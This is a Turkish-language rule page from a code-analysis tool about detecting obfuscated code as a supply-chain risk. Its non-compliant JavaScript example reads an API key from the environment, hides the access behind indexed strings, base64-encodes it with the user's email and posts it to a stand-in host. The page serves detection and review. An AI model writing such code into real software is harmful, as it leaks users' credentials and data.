Kural
Potansiyel olarak zararlı kod kalıplarını
tespit edin. Kod, niyetinde şeffaf olmalıdır.
Bilinçli karmaşıklaştırma (obfuscation) veya gizleme teknikleri,
zararlı bir niyete veya arka kapılara işaret eder.
Desteklenen diller: 45+Giriş
Prodüksiyon depolarındaki (repositories) karmaşıklaştırılmış (obfuscated) kod her zaman iyi niyetli değildir. Frontend derlemelerinde kodun küçültülmesi (minification) için meşru kullanım alanları mevcut olsa da, kaynak kodundaki bilinçli olarak gizlenmiş mantık genellikle tedarik zinciri saldırılarına, arka kapılara veya ele geçirilmiş bağımlılıklara işaret eder. Saldırganlar, zararlı yükleri (payloads) üstünkörü kod incelemelerinden gizlemek için kodlama hileleri, olağandışı string birleştirme, dinamik değerlendirme ve diğer karmaşıklaştırma tekniklerini kullanırlar.
Neden önemli?
Güvenlik etkileri: Karmaşıklaştırılmış kod, tedarik zinciri ihlalinin birincil göstergesidir. 2024 XZ Utils arka kapısı, zararlı SSH kimlik doğrulama atlama kodunu gizlemek için gelişmiş karmaşıklaştırma kullanmıştır. Benzer teknikler, ortam değişkenlerini veya kimlik bilgilerini sızdıran ele geçirilmiş npm paketlerinde de görülmektedir. Kod niyetini kasıtlı olarak gizlediğinde, güvenlik incelemeleri ve otomatik taramalar sırasında tespitten kaçınmak üzere tasarlanmış demektir.
Kodun sürdürülebilirliği: Karmaşıklaştırma zararlı olmasa bile bir bakım kabusu yaratır. Gelecekteki geliştiriciler niyeti anlayamaz, hata ayıklama (debugging) imkansız hale gelir ve kod hiç kimsenin dokunmak istemediği teknik borca dönüşür. Karmaşıklaştırılmış mantık, hataları veya güvenlik açıklarını yakalamak için tasarlanmış tüm statik analiz araçlarını atlatır.
Saldırı yüzeyinin genişlemesi: Şunun gibi karmaşıklaştırma teknikleri eval(), Function() constructor veya base64 ile kodlanmış string'ler, güvenlik araçlarının statik olarak analiz edemeyeceği dinamik kod yürütme yolları oluşturur. Bu durum, kaynak kodu incelemelerinde görünmeyen çalışma zamanı (runtime) davranışları sunarak saldırı yüzeyinizi genişletir.
Performans etkisi: Karmaşıklaştırılmış kod genellikle aşırı string birleştirme, dinamik özellik erişimi veya tekrarlanan kodlama/çözme (encoding/decoding) işlemleri gibi verimsiz kalıplar kullanır. Bu kalıplar, kaynak depolarında hiçbir meşru iş amacına hizmet etmezken performansı düşürür.
Kod örnekleri
❌ Kural dışı:
const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];
function sendData(user) {
const key = process[_0x1f3a(0)][_0x1f3a(1)];
const payload = Buffer.from(JSON.stringify({
u: user.email,
k: key
}))[_0x1f3a(2)](_0x1f3a(3));
fetch('https://analytics-cdn.example.com/t', {
method: 'POST',
body: payload
});
}Neden güvensiz: Değişken adları kasıtlı olarak anlamsızdır, string erişimi dizi indeksleme yoluyla karmaşıklaştırılmıştır ve iletişim kurulan gerçek uç nokta (endpoint) belirsizdir. Bu kalıp, zararlı paketlerin kimlik bilgilerini nasıl sızdırdığıyla tamamen aynıdır ve inceleme sırasında kodun gerçek niyetini doğrulamayı imkansız kılar.
✅ Kurallara uygun:
const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';
function sendAnalyticsEvent(user) {
const event = {
userId: user.id,
email: user.email,
timestamp: Date.now()
};
return fetch(ANALYTICS_ENDPOINT, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event)
});
}Neden güvenli: Net değişken adları, açık uç nokta, şeffaf veri yapısı ve bariz niyet. Herhangi bir incelemeci, hangi verilerin nereye gönderildiğini hemen anlayabilir. Bu kod hem güvenlik araçları hem de insanlar tarafından denetlenebilir.
Sonuç
Kaynak depolarındaki karmaşıklaştırılmış kod, soruşturma gerektiren bir güvenlik kırmızı alarmıdır. Derleme zamanı küçültme (minification) frontend optimizasyonu için kabul edilebilir olsa da, kaynak kodu her zaman okunabilir ve şeffaf olmalıdır. Karmaşıklaştırma kalıplarını erken tespit etmek, tedarik zinciri ihlallerini önler ve kodun denetlenebilirliğini korur.

